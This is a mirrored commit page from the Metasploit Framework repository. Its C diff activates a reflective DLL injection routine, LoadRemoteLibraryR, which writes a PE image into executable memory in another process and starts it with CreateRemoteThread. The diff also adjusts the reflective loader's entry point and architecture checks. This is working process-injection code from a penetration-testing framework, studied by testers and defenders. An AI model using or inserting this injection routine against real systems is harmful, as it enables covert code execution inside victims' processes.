mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Update RDI by adding in the LoadRemoteLibraryR function to use RDI to inject into arbitrary processes. Current limitation is it only works on x86->x86 and x64->x64 scenarios, due to the offsets used in parsing the PE file being determined at compile time (e.g. if we compile LoadRemoteLibraryR into an x86 binary it wont be able to load x64 images). Solution is to not rely on compiler for the offset but to do it manually which shouldn't be too much work.
git-svn-id: file:///home/svn/framework3/trunk@8292 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
9f4332ce60
commit
f82b6c5952
@ -57,12 +57,34 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
@ -154,50 +176,56 @@ HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||
return hResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a DLL image from memory into the address space of a host process via the dll's exported ReflectiveLoader function
|
||||
/*
|
||||
BOOL WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength )
|
||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// defined in order to use the correct RDI prototypes.
|
||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
BOOL bSuccess = FALSE;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||
|
||||
if( hProcess == NULL || lpBuffer == NULL || dwLength == 0 )
|
||||
return FALSE;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( dwReflectiveLoaderOffset != 0 )
|
||||
do
|
||||
{
|
||||
// alloc memory (RWX) in the host process for the dll...
|
||||
lpRemoteLibraryBuffer = (LPVOID)VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( lpRemoteLibraryBuffer == NULL )
|
||||
return FALSE;
|
||||
if( !hProcess || !lpBuffer || !dwLength )
|
||||
break;
|
||||
|
||||
// write the dll's image into the host process...
|
||||
if( WriteProcessMemory( hProcess, (LPVOID)lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) == 0 )
|
||||
return FALSE;
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( !dwReflectiveLoaderOffset != 0 )
|
||||
break;
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
break;
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||
break;
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset);
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||
|
||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||
// TO-DO: fix the difference between the funk defs of ReflectiveLoader(VOID) and ThreadRoutine(LPVOID lpParam)
|
||||
if( CreateRemoteThread( hProcess, NULL, (SIZE_T)NULL, lpReflectiveLoader, NULL, (DWORD)NULL, NULL ) == NULL )
|
||||
return FALSE;
|
||||
|
||||
bResult = TRUE;
|
||||
hThread = CreateRemoteThread( hProcess, NULL, (SIZE_T)NULL, lpReflectiveLoader, lpParameter, (DWORD)NULL, NULL );
|
||||
}
|
||||
while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
bResult = FALSE;
|
||||
hThread = NULL;
|
||||
}
|
||||
|
||||
return bResult;
|
||||
|
||||
return hThread;
|
||||
}
|
||||
*/
|
||||
//===============================================================================================//
|
||||
|
@ -32,7 +32,7 @@
|
||||
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||
|
||||
//BOOL WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength );
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
|
@ -27,9 +27,6 @@
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
@ -38,8 +35,19 @@ HINSTANCE hAppInstance = NULL;
|
||||
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
// This is our position independent reflective Dll loader/injector
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA;
|
||||
@ -366,22 +374,33 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
*/
|
||||
// STEP 7: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL's entry point
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// call our DLLMain(), fudging our hinstDLL value
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
@ -401,7 +420,7 @@ BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
@ -427,4 +446,6 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
Loading…
Reference in New Issue
Block a user